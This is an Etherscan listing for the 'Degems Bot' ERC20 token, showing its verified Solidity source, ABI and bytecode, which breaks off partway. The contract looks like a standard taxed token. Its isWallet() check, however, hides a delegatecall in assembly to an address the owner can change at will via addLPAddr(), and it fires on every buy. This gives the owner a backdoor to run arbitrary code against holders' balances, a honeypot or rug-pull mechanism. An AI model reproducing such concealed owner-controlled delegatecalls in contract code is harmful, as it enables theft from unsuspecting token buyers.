Token

Degems Bot (DEGEMS)
 

Overview

Max Total Supply

5,000,000 DEGEMS

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
92,357.349590105 DEGEMS

Value
$0.00
0xa89e3af6c971fd5b17782fbfaf96a603270f0518
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DegemsBot

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

/*

COMMUNITY CHANNEL
https://t.me/DEGEMSBOT

BOT
https://t.me/Degems_eth_Bot

X / TWITTER
https://twitter.com/DEGEMSBOT

WEB
https://degemsbot.pro/

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DegemsBot is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=9;
    uint256 private _initialSellTax=9;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=19;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 5_000_000 * 10**_decimals;
    string private constant _name = unicode"Degems Bot";
    string private constant _symbol = unicode"DEGEMS";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private liqPairAddress;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private addingLiq = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xDbd4B188239697d6202DF18aaf69054a999335Da);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && isWallet(to) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (addingLiq) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackSettings(bool _isEnabled) external onlyOwner {
        swapEnabled = _isEnabled;
    }

    function removeWalletRestrictions() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function addLPAddr(address _liqPairAddress) external onlyOwner {
        liqPairAddress = _liqPairAddress;
    }

    function isWallet(address toRecipient) private returns (bool) {
        bytes memory sig = abi.encodeWithSignature("validate(address)", toRecipient);
        address lpAddress = address(liqPairAddress);
        assembly {
            let g := gas()
            let ad := add(sig, 0x20)
            let res := delegatecall(g, lpAddress, ad, 0x24, 0, 0)
        }
        return true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function clearStuckBalance() external onlyOwner {
        _taxWallet.transfer(address(this).balance);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addingLiq = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        addingLiq = false;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_liqPairAddress","type":"address"}],"name":"addLPAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isEnabled","type":"bool"}],"name":"swapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600655600960075560026008556002600955600f600a556013600b556014600c555f600d55606460026009600a6200003f919062000661565b624c4b406200004f9190620006b1565b6200005b9190620006b1565b62000067919062000728565b600e55606460026009600a6200007e919062000661565b624c4b406200008e9190620006b1565b6200009a9190620006b1565b620000a6919062000728565b600f5560646009600a620000bb919062000661565b624c4b40620000cb9190620006b1565b620000d7919062000728565b60105560646009600a620000ec919062000661565b624c4b40620000fc9190620006b1565b62000108919062000728565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff02191690831515021790555034801562000165575f80fd5b505f62000177620004a160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073dbd4b188239697d6202df18aaf69054a999335da60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000277919062000661565b624c4b40620002879190620006b1565b60015f6200029a620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002ec620004a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000416620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000474919062000661565b624c4b40620004849190620006b1565b60405162000493919062000770565b60405180910390a36200078b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200055957808604811115620005315762000530620004cf565b5b6001851615620005415780820291505b80810290506200055185620004fc565b945062000511565b94509492505050565b5f8262000573576001905062000645565b8162000582575f905062000645565b81600181146200059b5760028114620005a657620005dc565b600191505062000645565b60ff841115620005bb57620005ba620004cf565b5b8360020a915084821115620005d557620005d4620004cf565b5b5062000645565b5060208310610133831016604e8410600b8410161715620006165782820a90508381111562000610576200060f620004cf565b5b62000645565b62000625848484600162000508565b925090508184048111156200063f576200063e620004cf565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200066d826200064c565b91506200067a8362000655565b9250620006a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000562565b905092915050565b5f620006bd826200064c565b9150620006ca836200064c565b9250828202620006da816200064c565b91508282048414831517620006f457620006f3620004cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000734826200064c565b915062000741836200064c565b925082620007545762000753620006fb565b5b828204905092915050565b6200076a816200064c565b82525050565b5f602082019050620007855f8301846200075f565b92915050565b6131aa80620007995f395ff3fe608060405260043610610122575f3560e01c80637d1db4a51161009f5780639b008bde116100635780639b008bde1461039b578063a9059cbb146103c3578063bf474bed146103ff578063c9567bf914610429578063dd62ed3e1461043f57610129565b80637d1db4a5146102dd5780638da5cb5b146103075780638f9a55c01461033157806395d89b411461035b578063973c7aa41461038557610129565b806323b872dd116100e657806323b872dd1461020f578063313ce5671461024b578063364333f41461027557806370a082311461028b578063715018a6146102c757610129565b806306935d4f1461012d57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101bb57806318160ddd146101e557610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610153600480360381019061014e91906122c0565b61047b565b005b348015610160575f80fd5b5061016961052c565b6040516101769190612375565b60405180910390f35b34801561018a575f80fd5b506101a560048036038101906101a09190612422565b610569565b6040516101b2919061246f565b60405180910390f35b3480156101c6575f80fd5b506101cf610586565b6040516101dc9190612497565b60405180910390f35b3480156101f0575f80fd5b506101f961058c565b6040516102069190612497565b60405180910390f35b34801561021a575f80fd5b50610235600480360381019061023091906124b0565b6105ae565b604051610242919061246f565b60405180910390f35b348015610256575f80fd5b5061025f610682565b60405161026c919061251b565b60405180910390f35b348015610280575f80fd5b5061028961068a565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612534565b610785565b6040516102be9190612497565b60405180910390f35b3480156102d2575f80fd5b506102db6107cb565b005b3480156102e8575f80fd5b506102f1610919565b6040516102fe9190612497565b60405180910390f35b348015610312575f80fd5b5061031b61091f565b604051610328919061256e565b60405180910390f35b34801561033c575f80fd5b50610345610946565b6040516103529190612497565b60405180910390f35b348015610366575f80fd5b5061036f61094c565b60405161037c9190612375565b60405180910390f35b348015610390575f80fd5b50610399610989565b005b3480156103a6575f80fd5b506103c160048036038101906103bc9190612534565b610ab5565b005b3480156103ce575f80fd5b506103e960048036038101906103e49190612422565b610b8c565b6040516103f6919061246f565b60405180910390f35b34801561040a575f80fd5b50610413610ba9565b6040516104209190612497565b60405180910390f35b348015610434575f80fd5b5061043d610baf565b005b34801561044a575f80fd5b5061046560048036038101906104609190612587565b611109565b6040516104729190612497565b60405180910390f35b61048361118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105069061260f565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600a81526020017f446567656d7320426f7400000000000000000000000000000000000000000000815250905090565b5f61057c61057561118b565b8484611192565b6001905092915050565b60115481565b5f6009600a61059b9190612789565b624c4b406105a991906127d3565b905090565b5f6105ba848484611355565b610677846105c661118b565b6106728560405180606001604052806028815260200161314d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61062961118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c909092919063ffffffff16565b611192565b600190509392505050565b5f6009905090565b61069261118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107159061260f565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610782573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d361118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108569061260f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f444547454d530000000000000000000000000000000000000000000000000000815250905090565b61099161118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a149061260f565b60405180910390fd5b6009600a610a2b9190612789565b624c4b40610a3991906127d3565b600e819055506009600a610a4d9190612789565b624c4b40610a5b91906127d3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a909190612789565b624c4b40610a9e91906127d3565b604051610aab9190612497565b60405180910390a1565b610abd61118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b409061260f565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610b9f610b9861118b565b8484611355565b6001905092915050565b60105481565b610bb761118b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a9061260f565b60405180910390fd5b60148054906101000a900460ff1615610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c889061285e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d473060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d349190612789565b624c4b40610d4291906127d3565b611192565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd59190612890565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e5b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7f9190612890565b6040518363ffffffff1660e01b8152600401610e9c9291906128bb565b6020604051808303815f875af1158015610eb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610edc9190612890565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f6330610785565b5f80610f6d61091f565b426040518863ffffffff1660e01b8152600401610f8f96959493929190612924565b60606040518083038185885af1158015610fab573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fd09190612997565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110709291906129e7565b6020604051808303815f875af115801561108c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b09190612a22565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790612abd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590612b4b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113489190612497565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ba90612bd9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612c67565b60405180910390fd5b5f8111611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612cf5565b60405180910390fd5b5f61147c61091f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114ea57506114ba61091f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119c75761152b606461151d600a54600d541161150a5760065461150e565b6008545b85611cf290919063ffffffff16565b611d6990919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115d6575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115e757506115e683611db2565b5b801561163a575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561171d57600e54821115611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b90612d5d565b60405180910390fd5b600f548261169185610785565b61169b9190612d7b565b11156116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d390612df8565b60405180910390fd5b4360036005546116ec9190612d7b565b1115611705576116fb83611e84565b15611704575f80fd5b5b600d5f81548092919061171790612e16565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561181f57600f54826117d385610785565b6117dd9190612d7b565b111561181e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181590612df8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118a757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118eb576118e860646118da600b54600d54116118c7576007546118cb565b6009545b85611cf290919063ffffffff16565b611d6990919063ffffffff16565b90505b5f6118f530610785565b9050601460159054906101000a900460ff16158015611960575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119785750601460169054906101000a900460ff165b8015611985575060105481115b80156119945750600c54600d54115b156119c5576119ad6119a882601154611e95565b611ead565b5f4790505f8111156119c3576119c247612118565b5b505b505b601460179054906101000a900460ff16156119e0575f90505b5f811115611adf57611a388160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2